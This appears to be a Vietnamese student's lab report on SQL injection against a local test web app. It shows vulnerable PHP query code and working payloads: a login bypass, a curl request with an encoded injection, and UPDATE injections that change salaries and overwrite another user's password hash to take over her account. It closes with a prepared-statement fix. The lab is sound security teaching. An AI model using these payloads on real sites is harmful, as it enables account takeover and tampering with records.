You are on page 1of 10

Họ và tên: Trần Hoàng Quân

MSSV: 17110211

Lab 05: Web security – SQL Injection


I. Setup
1. Khởi động docker dcbuild
2. Sau đó nhập chương trình
mysql dockps docksh
mysql -u root -p dees
II. MYSQL
1. Sau khi chạy hoàn tất, sử dụng lệnh sql để in tất cả thông tin hồ sơ của Alice
III. SQL Injection attack from webpage
Truy cập http://localhost:3128

Quan sát unsafe_home.php và đoạn code


$conn = getDB();
// Sql query to authenticate the user
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,
email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";

Ta chỉ cần chặn phần xác định mật khẩu bằng lệnh
admin';#

Dưới đây là cách hoạt động của nó:


• ': Ký tự ' là ký tự kết thúc chuỗi trong SQL, vì vậy bất kỳ dấu ' bạn nhập sẽ kết thúc
chuỗi và khiến cho phần còn lại của truy vấn SQL trở nên không hợp lệ.
• #: Ký tự # là ký tự bắt đầu một chú thích trong SQL, bất kỳ điều gì sau # trong truy
vấn SQL sẽ được xem như chú thích và bị bỏ qua bởi máy chủ SQL.
IV. SQL Injection attack from command line
Chuyển đổi
curl ‘http://localhost:3128/unsafe_home.php?username=%27%3b%23’
ta được

Sử dụng công cụ dòng lệnh như Curl để thực hiện. Curl là một công cụ có thể gửi yêu cầu
HTTP, bao gồm nhiều tham số trong yêu cầu HTTP, cần đặt URL và các tham số giữa
một cặp dấu ngoặc đơn; nếu không, các ký tự đặc biệt dùng để phân tách các tham số
(chẳng hạn như &) sẽ được chương trình shell diễn giải, làm thay đổi ý nghĩa của lệnh.
V. SQL Injection attack on UPDATE Statement
1. Modify your own salary. Quan
sát dòng code
$hashed_pwd = sha1($input_pwd);
// Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET
nickname='$input_nickname',email='$input_email',address='$input_address',Password
='$hashed_pwd',PhoneNumber='$input_phonenumber' where
ID=$id;"; }else{
// If password field is empty.
$sql = "UPDATE credential SET
nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNu
m ber='$input_phonenumber' where ID=$id;"; }
$conn->query($sql);

Điền
',salary='30000' where ID=1;#
Trong ví dụ này, bạn thấy rằng bạn đang sử dụng các biến người dùng (ví dụ:
$input_nickname) để xây dựng truy vấn SQL mà không có sự kiểm tra hoặc xử lý đặc
biệt. Điều này tạo ra một cơ hội cho người dùng chèn các đoạn mã SQL bất hợp pháp vào
truy vấn.
Nếu người dùng nhập ',salary='30000' where ID=1;# vào trường Nickname, thì sau khi
truy vấn được thực hiện, truy vấn SQL sẽ trở thành:
UPDATE credential SET nickname='',salary='30000' where ID=1;#

2. Modify other people’ password.


Điền tương tự
',salary='123456' where ID=2;#
3. Modify other people’ password.
Code sử dụng mã SHA1 để mã hoá, dùng các công cụ trực tuyến để chuyển đổi nó
Sau đó chèn vào
',Password='f7a9e24777ec23212c54d7a350bc5bea5477fdbb' where ID=1;#

Sau đó ta có thể đăng nhập thành công vào tài khoản Alice bằng mật khẩu của mình là
aaaaaa
4. Countermeasure – Prepared Statement
Chỉnh sửa code
$sql = "SELECT name, local, gender
FROM User
WHERE id = $id AND password =$pwd ";
$res = $conn->query($sql);

$stmt = $conn->prepare("SELECT name, local, gender


FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
Truy cập http://localhost:3128/defense
Khi ta đăng nhập tài khoản Alice với mật khẩu aaaaaa thì đã thất bại

You might also like